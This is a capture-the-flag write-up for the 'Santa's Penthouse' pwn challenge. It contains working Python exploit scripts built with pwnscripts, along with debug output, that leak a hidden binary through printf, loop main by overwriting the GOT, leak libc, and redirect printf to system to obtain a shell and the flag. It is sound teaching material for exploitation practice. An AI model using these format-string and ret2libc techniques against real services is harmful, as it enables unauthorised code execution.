# Santa's Penthouse (Work in Progress) [484]SOLVED (**Osmium Award**!)
Bringing happiness and joy is a profitable business. So lucrative that Santa has amassed enough wealth to start bulding a brand new penthouse. Let's hope he finishes it before New Year's.
**Target**: nc challs.xmas.htsp.ro 2006
**Author**: PinkiePie1189
**Files**: chall
#### [`pwnscripts`](https://github.com/152334H/pwnscripts) assisted greatly in handling the format string exploits here. Try it!
## MenuThe binary has 3 options, each of which can only be used once.1. Leave a message (`leave_message()`). This message is piped to `printf()` in a _limited_ format string bug, where `%n` **writes are banned**.2. Steal a gift (`take_gift()`). This takes the contents of the remote file `secret` and dumps it into heap memory, with its location provided to the user as a `%p` pointer.3. Exit. This calls `exit(0)`.
As far as I'm aware, `leave_message()` is impossible to exploit. As a result, I choose to leak out the contents of `secret` with a `%s` `printf()` call.```pythonfrom pwnscripts import *context.binary = 'santa_penthouse'def printf(s:bytes):    r = remote('challs.xmas.htsp.ro', 2006)    r.sendlineafter('Exit.\n', '1')    r.sendafter('Santa?\n', s)    r.recvuntil('message: ')    return r.recvline()offset = fsb.find_offset.buffer(printf, 200)
def leakfrom(dist:int):    r = remote('challs.xmas.htsp.ro', 2006)    r.sendlineafter('Exit.\n', '2')    secret = unpack_hex(r.recvline())    r.sendlineafter('Exit.\n', '1') log.info(repr(b'leaking ' + hex(secret+dist).encode() + b' i.e. ' + pack(secret+dist)))    r.sendlineafter('Santa?\n', fsb.leak.deref_payload(offset, [secret+dist]))    r.recvuntil('message: ')    secret_data, = fsb.leak.deref_extractor(r.recvline())    r.close()    return secret_data+b'\0'print(leakfrom(0))```This leads to the disturbing discovery that `secret` is an entire ELF:```python[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done[*] pwnscripts.fsb.find_offset for buffer: 8[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done[*] b'leaking 0x5609f89464c0 i.e. \xc0d\x94\xf8\tV\x00\x00'[*] Closed connection to challs.xmas.htsp.ro port 2006b'\x7fELF\x02\x01\x01\x00'```Leaking the entire thing requires a shit ton of time if we're going to do it with `printf()` alone.```pythonwith open('secret', 'r+b') as f:    written = 0 # replace this if the script terminates halfway for whatever reason    f.seek(written)    while 1: log.info('leaking from %d' % written)        try: data = leakfrom(written)        except EOFError: continue        written += len(data)        f.write(data)        f.flush()```Leaving this program running, I left to do some [other challenges](if_you_see_this_url___i_forgot_to_change_this_link). Once the downloaded data matched (around) the size of `./chall`, the file was essentially valid for analysis:```sh$ file secretsecret: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped```## `secret````$ checksec secret[*] '/secret'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```Unlike the previous binary, stack canaries and PIE are disabled.```In the secret binary, I spy these `strings`:$ strings secret...GumaTurbo123!Access granted! Filters disabled!Check out port 14712...```It looks like `GumaTurbo123!` is a password for the service at 14712 (I tried putting it as a password for the original service at port 2006 too — no dice). Let's try that.```sh$ nc challs.xmas.htsp.ro 14712GumaTurbo123!Access granted! Filters disabled!Check out port 14712%p0x7ffe39c01c60```Although I've not proven anything yet, this service _probably_ provides an unrestricted `printf()` call.
The code within `secret` `main()` was a little bit broken in transmission, but after patching a few bytes, I'm able to verify that claim:```cvoid main() {  char s[264]; // [rsp+0h] [rbp-110h] BYREF  setvbuf(stdin, 0LL, 2, 0LL);  setvbuf(stdout, 0LL, 2, 0LL);  fgets(s, 255, stdin);  if ( memcmp(s, "GumaTurbo123!", 0xFuLL) )    exit(0);  puts("Access granted! Filters disabled!");  puts("Check out port 14712");  fflush(stdout);  fgets(s, 255, stdin);  printf(s);  exit(0);}```Since the GOT table is still writable, I made a basic payload to overwrite `exit()` with `main()`, forming a loop:```pythonfrom pwnscripts import *context.binary = 'secret'context.binary.symbols['main'] = 0x401176context.log_level = 'debug'
def printf(s):    r = remote('challs.xmas.htsp.ro', 14712)    r.sendline('GumaTurbo123!')    r.sendafter('14712\n', s)    return r.recvall()offset = fsb.find_offset.buffer(printf,50)
r = remote('challs.xmas.htsp.ro', 14712)def cycle(s, until=None):    r.sendline('GumaTurbo123!')    r.sendlineafter('14712\n', s)    if until is None: return None    return r.recvuntil(until)cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')r.interactive()```This clearly works on testing:```python[DEBUG] Received 0x16 bytes:    b'\n'    b'Check out port 14712\n'[DEBUG] Sent 0x41 bytes:    00000000  25 31 31 38  63 25 31 31  24 6c 6c 6e  25 31 35 35  │%118│c%11│$lln│%155│    00000010  63 25 31 32  24 68 68 6e  25 34 37 63  25 31 33 24  │c%12│$hhn│%47c│%13$│    00000020  68 68 6e 61  61 61 61 62  40 40 40 00  00 00 00 00  │hhna│aaab│@@@·│····│    00000030  41 40 40 00  00 00 00 00  42 40 40 00  00 00 00 00  │A@@·│····│B@@·│····│    00000040  0a                                                  │·│    00000041[DEBUG] Received 0x148 bytes:    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │    *    00000070  20 20 20 20  20 10 20 20  20 20 20 20  20 20 20 20  │    │ ·  │    │    │    00000080  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │    *    00000110  d0 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │·   │    │    │    │    00000120  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │    00000130  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 51  │    │    │    │   Q│    00000140  61 61 61 61  62 40 40 40                            │aaaa│b@@@│    00000148[*] Switching to interactive modeaaab@@@$ GumaTurbo123![DEBUG] Sent 0xe bytes:    b'GumaTurbo123!\n'[DEBUG] Received 0x21 bytes:    b'Access granted! Filters disabled!'```With infinite `printf()` abuse available, all we really need to do is to return to libc's `system()` for the flag.
I started by determining the libc version with the [dev branch of pwnscripts](https://github.com/152334H/pwnscripts/tree/dev) + [libc-database](https://github.com/niklasb/libc-database):```pythoncontext.libc_database = 'libc-database'GOT_FUNCS = ['puts','setvbuf']addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))context.libc = context.libc_database.libc_find(libc_addrs)```This part of the code runs on a second remote connection, and doesn't affect the previous connected `remote()`.```python[+] Opening connection to challs.xmas.htsp.ro on port 14712: Done[DEBUG] Sent 0xe bytes:    b'GumaTurbo123!\n'[DEBUG] Received 0x21 bytes:    b'Access granted! Filters disabled!'[DEBUG] Received 0x16 bytes:    b'\n'    b'Check out port 14712\n'[DEBUG] Sent 0x29 bytes:    00000000  5e 5e 25 39  24 73 7c 7c  25 31 30 24  73 24 24 00  │^^%9│$s||│%10$│s$$·│    00000010  19 19 19 19  19 19 19 19  18 40 40 00  00 00 00 00  │····│····│·@@·│····│    00000020  38 40 40 00  00 00 00 00  0a                        │8@@·│····│·│    00000029[+] Receiving all data: Done (18B)[DEBUG] Received 0x12 bytes:    00000000  5e 5e a0 1a  2c be 2c 7f  7c 7c d0 23  2c be 2c 7f  │^^··│,·,·│||·#│,·,·│    00000010  24 24                                               │$$│    00000012[*] Closed connection to challs.xmas.htsp.ro port 14712[*] found libc! id: libc6_2.27-3ubuntu1.3_amd64```I could've probably guessed that libc id from other challenges, but whatever, I have it now.
On the actual original `remote()`, one `cycle()` is used to leak libc from the GOT, and another is used to overwrite `printf()` with libc `system()` at the GOT. Once that's done, the next cycle will run `system()` on whatever the input format string is, which I'll set to be `"/bin/sh"`.```pythonputs, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])context.libc.calc_base('puts', unpack_bytes(puts,6))cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')cycle('/bin/sh\0')
r.interactive()``````python[DEBUG] Sent 0x1a bytes:    00000000  5e 5e 25 38  24 73 24 24  00 19 19 19  19 19 19 19  │^^%8│$s$$│····│····│    00000010  18 40 40 00  00 00 00 00  0a 0a                     │·@@·│····│··│    0000001a[DEBUG] Received 0xa bytes:    00000000  5e 5e a0 6a  2a 40 a1 7f  24 24                     │^^·j│*@··│$$│    0000000a[DEBUG] Sent 0xe bytes:    b'GumaTurbo123!\n'[DEBUG] Received 0x21 bytes:    b'Access granted! Filters disabled!'[DEBUG] Received 0x16 bytes:    b'\n'    b'Check out port 14712\n'[DEBUG] Sent 0x79 bytes:    00000000  25 38 30 63  25 31 35 24  6c 6c 6e 25  35 63 25 31  │%80c│%15$│lln%│5c%1│    00000010  36 24 68 68  6e 25 34 32  63 25 31 37  24 68 68 6e  │6$hh│n%42│c%17│$hhn│    00000020  25 33 34 63  25 31 38 24  68 68 6e 25  31 33 34 63  │%34c│%18$│hhn%│134c│    00000030  25 31 39 24  68 68 6e 25  32 35 63 25  32 30 24 68  │%19$│hhn%│25c%│20$h│    00000040  68 6e 61 61  61 61 62 61  20 40 40 00  00 00 00 00  │hnaa│aaba│ @@·│····│    00000050  21 40 40 00  00 00 00 00  25 40 40 00  00 00 00 00  │!@@·│····│%@@·│····│    00000060  24 40 40 00  00 00 00 00  22 40 40 00  00 00 00 00  │$@@·│····│"@@·│····│    00000070  23 40 40 00  00 00 00 00  0a                        │#@@·│····│·│    00000079[DEBUG] Received 0x149 bytes:    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │    *    00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 70  │    │    │    │   p│    00000050  20 20 20 20  d0 20 20 20  20 20 20 20  20 20 20 20  │    │·   │    │    │    00000060  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │    00000070  20 20 20 20  20 20 20 20  20 20 20 20  20 20 51 20  │    │    │    │  Q │    00000080  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │    *    000000a0  c0 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │·   │    │    │    │    000000b0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │    *    00000120  20 20 20 20  20 20 c0 20  20 20 20 20  20 20 20 20  │    │  · │    │    │    00000130  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 25  │    │    │    │   %│    00000140  61 61 61 61  62 61 20 40  40                        │aaaa│ba @│@│    00000149[DEBUG] Sent 0xe bytes:    b'GumaTurbo123!\n'[DEBUG] Received 0x21 bytes:    b'Access granted! Filters disabled!'[DEBUG] Received 0x16 bytes:    b'\n'    b'Check out port 14712\n'[DEBUG] Sent 0x9 bytes:    00000000  2f 62 69 6e  2f 73 68 00  0a                        │/bin│/sh·│·│    00000009[*] Switching to interactive mode$ ls[DEBUG] Sent 0x3 bytes:    b'ls\n'[DEBUG] Received 0x2d bytes:    b'bin\n'    b'dev\n'    b'flag.txt\n'    b'fmt_string\n'    b'lib\n'    b'lib64\n'    b'secret\n'bindevflag.txtfmt_stringliblib64secret$ cat flag.txt[DEBUG] Sent 0xd bytes:    b'cat flag.txt\n'```That wraps things up.## Flag`X-MAS{1_4m_n07_sl4ck1ng_0ff_1_4m_jus7_w41t1ng_f0r_th3_b1n4ry_t0_b3_l34k3d}`
## final script if something is broken above idk```pythonfrom pwnscripts import *context.binary = 'secret'context.binary.symbols['main'] = 0x401176   # extremely unfortunate hardcoded valuecontext.libc_database = 'libc-database'# pre-remote probingdef printf(s):    r = remote('challs.xmas.htsp.ro', 14712)    r.sendline('GumaTurbo123!')    r.sendafter('14712\n', s)    return r.recvall()offset = fsb.find_offset.buffer(printf,50)GOT_FUNCS = ['puts','setvbuf']addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))context.libc = context.libc_database.libc_find(libc_addrs)# loop over main()r = remote('challs.xmas.htsp.ro', 14712)def cycle(s, until=None):    r.sendline('GumaTurbo123!')    r.sendlineafter('14712\n', s)    if until is None: return None    return r.recvuntil(until)cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')# return to libcputs, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])context.libc.calc_base('puts', unpack_bytes(puts,6))cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')cycle('/bin/sh\0')r.interactive()```